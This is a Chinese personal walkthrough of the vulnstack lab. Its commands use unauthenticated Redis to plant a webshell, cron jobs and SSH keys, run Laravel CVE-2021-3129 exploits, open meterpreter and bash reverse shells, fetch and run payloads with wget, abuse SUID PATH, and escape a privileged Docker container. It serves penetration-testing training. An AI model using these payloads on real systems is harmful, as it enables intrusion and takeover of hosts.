靶场搭建
http://vulnstack.qiyuanxuetang.net/vuln/detail/9/


kali选择桥接
1.ubuntu web1
登录密码web2021
启动Nginx和Redis服务:
sudo su
redis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf
(可能已经启动了)
可以用ps -ef|grep nginx
检查一下是否开启
iptables -F
(无回显)
2.ubuntu web2
登录密码ubuntu
sudo service docker start
(可能已经启动)
sudo docker start 8e172820ac78


3.win7 PC1
域用户bunny密码Bunny2021
切换用域管登录WHOAMIANONY\Administrator
PASSWORD:Whoami2021

DAY 2
kali扫描域内存活主机
nmap -T4 -A 192.168.31.176/24
nmap -T4 -A 192.168.31.161 -p 1-65535

开放端口比较少。直接去看81端口。

有个明显的Laravel v8.29.0(PHP v7.4.14),网上找下洞。
尝试一下CVE-2021-3129
Laravel Debug mode RCE(CVE-2021-3129)漏洞复现 | WHOAMI's Blog (whoamianony.top)
具体原理和手动复现如上链接,这里找一下现成的exp跑一下
git clone <https://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git
>
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP.git
试了挺多,自己也手动跑了一下,反正这个没有回显,都是500状态码
尝试一下redis未授权访问
redis-cli -h 192.168.31.161
kali第一次使用时,根据提示安装一堆东西就好了。

如图,访问成功。
redis未授权的常见利用手段:
- 向Web目录中写webshell的方式进行getshell
config set dir /var/www/html #一般linux下就是这web目录
config set dbfilename su.php
set 1 “<?php @eval($_POST[’matoujin’]);?>”
Save

但是蚁剑连不上,猜测是路径不对。
- 写corntab的方式进行getshell
config set dir /var/spool/cron/crontabs #设置文件夹的路径
config set dbfilename su #修改备份文件的名称
set -.- "\\n\\n\\n0 * * * * bash -i >& /dev/tcp/198.168.246.130/9999 0>&1\\n\\n\\n" #设置定时计划任务
save #保存
- 写SSH key的方式进行getshell
ssh-keygen -t rsa
一路回车
(echo -e "\\n\\n"; cat /root/.ssh/id_rsa.pub; echo -e "\\n\\n") > foo.txt
cat foo.txt | redis-cli -h 192.168.31.161 -p 6379 -x set hello
#把foo.txt文件内容写入目标主机的redis缓冲中
redis>
config set dir /root/.ssh
# 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys
# 设置保存文件名为authorized_keys
save
# 将数据保存在目标服务器硬盘上
ssh 192.168.31.161
# 连接

可以看到连接成功
DAY 3
做一个简单的信息收集
ifconfig
inet 192.168.31.161 netmask 255.255.255.0
inet 192.168.52.10 netmask 255.255.255.0
uname -a
Linux ubuntu 5.4.0-66-generic #74~18.04.2-Ubuntu SMP Fri Feb 5 11:17:31 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

检查配置文件(是否代理)
cd /etc/nginx/conf.d
cat /etc/nginx/conf.d/80.conf
cat /etc/nginx/conf.d/81.conf


这里可以看到做了反向代理
msf上线
使用web_delivery模块
use exploit/multi/script/web_delivery


添加路由
route add 192.168.52.0 255.255.255.0 1
52网段信息收集
存活扫描
use auxiliary/scanner/discovery/udp_probe
set RHOSTS 192.168.52.1-254

端口扫描
30主机meterpreter > run auxiliary/scanner/portscan/tcp rhost=192.168.52.30 rport=1-65535
重试CVE-2021-3129
python3 laravel-CVE-2021-3129-EXP.py http://192.168.31.161:81
还真就跑出来了

但是蚁剑连不上,换成git clone <https://github.com/crisprss/Laravel_CVE-2021-3129_EXP.git
> 改一下ip就可以了
python3 Laravel_CVE-2021-3129_EXP.py "system('uname -a');”

"system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
把命令改一下,whoami密码,”c语言“,终于连上了。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.176 LPORT=3333 -f elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp

上马成功
DAY 4
进行简单的信息收集
ifconfig
Name : eth0 Hardware MAC : 02:42:ac:11:00:02 MTU : 1500 Flags : UP,BROADCAST,MULTICAST IPv4 Address : 172.17.0.2 IPv4 Netmask : 255.255.0.0
uname -a
Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux
检查docker环境
ls -alh /.dockerenv

看来是docker环境了,下面就是docker逃逸。
逃逸
SUID提权+环境变量提权
这里看了一下wp
现在已知的具有SUID权限的二进制可执行文件
nmap vim find bash more less nano cp awk
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;

在其余都没有可利用的情况下/home/jobs/shell似乎是一个可疑点。
在Linux中使用环境变量进行提权 - FreeBuf网络安全行业门户 如其中方法一所示,./shell
执行了ps命令

那么将其ps命令目录修改为攻击者指定目录下的ps命令,就可以获得root权限,套用其命令
cd /tmp
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH //要多出来一个tmp
cd /home/jobs/
./shell
>whoami
ROOT
bash -c 'exec bash -i &>/dev/tcp/192.168.31.176/1239 <&1'
bash -c 'exec bash -i &>/dev/tcp/192.168.31.176/1238 <&1'
反弹shell到kali上

特权模式逃逸
要获取root后才行
cat /proc/self/status | grep CapEff


写入计划任务
echo '* * * * * bash -i >& /dev/tcp/192.168.31.176/1238 0>&1' >> /hello/var/spool/cron/root
但是看众人说ubuntu的计划任务反弹shell无法直接利用,下面我先将使用非计划任务思路进行登录,再记录ubuntu计划任务思路
利用特权模式进行写入密钥
(将shell反弹到52.10似乎更符合内网思路bash -i >& /dev/tcp/192.168.52.10/1233 0>&1
)
在挂载目录的root目录和home目录下找到用户名,这里可以找到ubuntu用户名

随后的思路就是将52.10上用户的ssh密钥写入到/hello/home/ubuntu/.ssh目录中的authorized_keys文件
- 先在52.10生成密钥
ssh-keygen -f hello
chmod 600 hello
cat hello.pub
- docker容器内(记得提权成root)
cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys
#-avx是将权限也一起复制echo > /hello/home/ubuntu/.ssh/authorized_keys
#清空authorized_keys文件echo 'ssh-rsa A...UdsFbSyd root@ubuntu' > /hello/home/ubuntu/.ssh/authorized_keys
#将ssh秘钥写入authorized_keys文件cat /hello/home/ubuntu/.ssh/authorized_keys
#查看是否写入成功 - 52.10登录
ssh -i hello ubuntu@192.168.52.20
就可以获取到宿主shell
通过定时任务
最简便的方法
echo "* * * * * root echo 'bash -i >& /dev/tcp/192.168.52.10/4006 0>&1' | bash" >> /hello/etc/crontab

还有一种就是通过更改dash与crontab路径(35条消息) ubuntu计划任务反弹shell_秋水的博客-CSDN博客_ubuntu 反弹shell
为了方便,给上面的shell跑一个msf马
wget -qO PXaadBBY --no-check-certificate <http://192.168.31.176:8080/ICaV7oa5fxW>; chmod +x PXaadBBY; ./PXaadBBY& disown

这台主机上还存在CVE-2021-3493
信息收集

添加路由route add 192.168.93.0 255.255.255.0 6
信息收集
93网段扫描
msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/discovery/udp_probe
msf6 auxiliary(scanner/discovery/udp_probe) > set RHOSTS 192.168.52.1-254
RHOSTS => 192.168.52.1-254
52网段扫描
msf6 exploit(multi/script/web_delivery) > use auxiliary/scanner/discovery/udp_sweep
msf6 auxiliary(scanner/discovery/udp_sweep) > set THREADS 5
THREADS => 5
msf6 auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 192.168.93.1-254
RHOSTS => 192.168.93.1-254
后面就是简单的图片上传马和mimikatz了,暂告一段落
Comments | NOTHING